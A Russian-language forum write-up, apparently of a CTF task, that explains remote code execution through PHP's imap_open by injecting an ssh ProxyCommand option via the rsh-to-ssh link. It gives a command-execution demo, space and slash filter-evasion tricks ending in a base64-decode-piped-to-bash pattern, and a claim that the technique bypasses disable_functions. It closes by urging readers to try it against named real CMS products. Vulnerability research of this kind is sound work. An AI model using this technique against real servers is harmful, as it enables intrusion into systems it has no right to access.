Друзья, всем привет!
Каретка меня уже скоро убьет, поэтому пишу разбор пятого таска)
1)Все мы знаем как выглядит стандартный вызов imap_open в php. Примерно так:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$imap[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]imap_open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'{'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'server'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]':993/imap/ssl}INBOX'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);[/COLOR][/COLOR]
Как мы видим, в функцию мы передаём имя хоста, порт, флаги и пару логин:пароль.
Полный список флагов можно найти на
официальной странице этой функции
http://php.net/manual/ru/function.imap-open.php

2)Нас интересует один флаг:
Сообщение от
None
/norsh
не использовать rsh или ssh для установки преавторизованной сессии IMAP
Начнем с того, что сама функция imap_open не является функцией самого ядра php. Функция является обёрткой для функции из библиотеки
imap-2007f. Эта библиотека разработана в Вашингтонском Университете. Как видно из названия, библиотека была разработана еще в 2007 году, и последняя актуальная версия была изменена в 2011 году, и носит версию f.
Короч, мы уже осознаём, что баге больше 10 лет.
Возвращаемся к флагу
/norsh.
Библиотека imap содержит в себе функционал для установки преавторизованной сессии.
Что это значит?
Библиотека перед коннектом к указаному серверу и порту решает проверить, а вдруг мы там привилегированный пользователь. И пытается приконнектится с указаным логином и паролем по rsh или ssh к хосту, и запустить там rimapd.
В исходниках библиотеки это выглядит так:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#ifdef SSHPATH /* ssh path defined yet? */
[/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]sshpath[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]sshpath[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]cpystr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SSHPATH[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]#endif
#ifdef RSHPATH /* rsh path defined yet? */
[/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]rshpath[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]rshpath[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]cpystr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]RSHPATH[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]#endif
[/COLOR][COLOR="#007700"]if (*[/COLOR][COLOR="#0000BB"]service[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'*'[/COLOR][COLOR="#007700"]) {[/COLOR][COLOR="#FF8000"]/* want ssh? */
/* return immediately if ssh disabled */
[/COLOR][COLOR="#007700"]if (!([/COLOR][COLOR="#0000BB"]sshpath[/COLOR][COLOR="#007700"]&& ([/COLOR][COLOR="#0000BB"]ti[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]sshtimeout[/COLOR][COLOR="#007700"]))) return[/COLOR][COLOR="#0000BB"]NIL[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#FF8000"]/* ssh command prototype defined yet? */
[/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]sshcommand[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]sshcommand[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]cpystr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"%s %s -l %s exec /etc/r%sd"[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#FF8000"]/* want rsh? */
[/COLOR][COLOR="#007700"]else if ([/COLOR][COLOR="#0000BB"]rshpath[/COLOR][COLOR="#007700"]&& ([/COLOR][COLOR="#0000BB"]ti[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]rshtimeout[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#FF8000"]/* rsh command prototype defined yet? */
[/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]rshcommand[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]rshcommand[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]cpystr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"%s %s -l %s exec /etc/r%sd"[/COLOR][COLOR="#007700"]);
}
else return[/COLOR][COLOR="#0000BB"]NIL[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]/* rsh disabled */[/COLOR][/COLOR]
Как мы видим из сорцов, сначала мы проверяем указан ли SSHPATH, если не указан, то проверяет RSHPATH и пытается подключиться к нему.
Ищем в сорцах что это за RSHPATH и SSHPATH.
a) SSHPATH судя по сорцам формируется из файла /etc/c-client.cf
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/* dorc() options */
#define SYSCONFIG "/etc/c-client.cf"
[/COLOR][/COLOR]
Ищет в этом файле строку set ssh-path
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/* Process rc file
* Accepts: file name
* .mminit flag
* Don't use this feature.
*/
[/COLOR][COLOR="#0000BB"]void dorc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]long flag[/COLOR][COLOR="#007700"])
...
[/COLOR][COLOR="#0000BB"]mail_parameters[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]NIL[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]SET_SSHCOMMAND[/COLOR][COLOR="#007700"],([/COLOR][COLOR="#0000BB"]void[/COLOR][COLOR="#007700"]*)[/COLOR][COLOR="#0000BB"]k[/COLOR][COLOR="#007700"]);
else if (![/COLOR][COLOR="#0000BB"]compare_cstring[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"set ssh-path"[/COLOR][COLOR="#007700"]))
[/COLOR][/COLOR]
Но или лыжи не едут, или я в плюсах тугой (а так и есть). Но у меня не удалось воспроизвести ситуацию, чтобы был коннект по ssh. Хотя файл он читает, я проверил)
Короч, это задел на будущее всем желающим, еще есть куда ресёчить. Идём дальше.
b) RSHPATH
Если посмотреть в makefile, который расположен в src/osdep/unix, то мы для каждой системы семейства unix видим что-то вроде
Сообщение от
None
RSHPATH=/usr/bin/rsh
3) Преавторизованная сессия
как мы помним из кода выше, вся жара происходит в функции
tcp_aopen. Забавно, что это будет работать только в линупсах.
А вот почему:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]TCPSTREAM[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]tcp_aopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]NETMBX[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]mb[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]service[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]usrbuf[/COLOR][COLOR="#007700"])
{
return[/COLOR][COLOR="#0000BB"]NIL[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]/* always NIL on Windows */
[/COLOR][COLOR="#007700"]}[/COLOR][/COLOR]
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]TCPSTREAM[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]tcp_aopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]NETMBX[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]mb[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]service[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]usrbuf[/COLOR][COLOR="#007700"])
{
return[/COLOR][COLOR="#0000BB"]NIL[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]/* always NIL on DOS */
[/COLOR][COLOR="#007700"]}
[/COLOR][/COLOR]
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]TCPSTREAM[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]tcp_aopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]NETMBX[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]mb[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]service[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]usrbuf[/COLOR][COLOR="#007700"])
{
return[/COLOR][COLOR="#0000BB"]NIL[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]/* no authenticated opens on Mac */
[/COLOR][COLOR="#007700"]}[/COLOR][/COLOR]
Итак, что мы имеем по итогам?
- Вызывается преавторизованная сессия только в линуксе
- Путь к RSH указан хардкорно в makefile, а к ssh не указан и вернее всего не укажется. Как минимум потому что права на запись в /etc/ только у root. Да и не сработало чёт.
Идём дальше. Посмотрим что вообще происходит с RSH в 2к18:
RSH в BSD Unix появился как часть пакета rlogin в 1983 году. 35 лет назад
На сегодняшний день:
RHEL-like: rsh= not found
Debian-like: rsh-> ssh
Arch Linux: rsh= rsh
FreeBSD: rsh = rsh (deprecated)
4) Подготовка мозгов к эксплуатации уязвимости.
Мы уже можем предположить, что мы можем влиять на системный вызов, который запускает rimapd. Как минимум мы передаём туда хостнейм.
Кстати, вызов выглядит так:
Сообщение от
None
[pid 4350] execve("/usr/bin/rsh", ["/usr/bin/rsh", "localhost", "-l", "twost", "exec", "/usr/sbin/rimapd"], [/* 54 vars */]
Не буду даже вдаваться в подробности вызова rsh, потому что он обрезан больше чем мусульманский еврей.
Сразу обратим внимание на системы семейства Debian. В них отсутствует rsh, он просто линкуется в ssh. Он то нам и нужен.
Я собрал небольшую статистику по серверам, и вот что вышло (по баннерам web-сервера):
Ubuntu - 2743
Windows Server - 1254
Debian - 909
CentOS - 821
UNIX - 306
Gentoo - 150
FreeBSD - 103
5) Изучаем маны ssh
Если почитать маны ssh, то можно увидеть такой интересный момент
Сообщение от
None
$ man ssh
-o option
Can be used to give options in the format used in the configuration file. This is useful for specifying options for which there is no separate command-line flag. For full details of the options listed below, and their possible values, see ssh_config(5).
Мы можем передавать опции при вызове ssh, а среди этих опций есть очень забавная
ProxyCommand.Что она делает? Выполняет команду на текущем хосте, перед подключением к серверу.
Ты ведь уже понял, да? Ну скажи что понял?
Сообщение от
None
$ ssh -oProxyCommand="touch /tmp/test/123" localhost
ssh_exchange_identification: Connection closed by remote host
$ ls -la /tmp/test/
drwxr-xr-x 2 twost twost 4096 окт 4 17:42 .
drwxrwxrwt 25 root root 3674112 окт 4 17:39 ..
-rw-r--r-- 1 twost twost 0 окт 4 17:42 123
Теперь то точно понял?
6) А мы не только RCE-шим, но еще и bypass-им
Нам никак не мешают отключенные системные функции в php, потому что наше rce с помощью ProxyCommand проходит вообще вне php, отдельным процессом, который вызывает библиотека, а не интерпретатор. Такие дела.
7) Вызов RSH -> SSH. Парсинг аргументов.
На этом моменте я уже устал печатать и напишу кратко.
Аргументы парсятся по пробелам, а флаги по слешам. Нам нужно обойти оба.
Пробелы обходим с помощью
$IFS$(), а слеши с помощью
echo base64decodedstring==|base64 -d| bash
8) PWN3D!
Сломаем-ка PrestaShop для примера:
Ловим бекконект:
9) Что рекомендую посмотреть?
Я конечно ни на что не намекаю, но я бы на твоем месте, %username%, уже побежал ковырять например:
instantcms
HostCMS
e107_2
prestashop
SuiteCRM
SugarCRM
И возможно что-то еще)
Я кончил.
Спасибо
crlfза охуенный таск
Видео доклада с конференции Kaz'Hack'Stan
(клик на начало доклада или перемотайте на 6:15):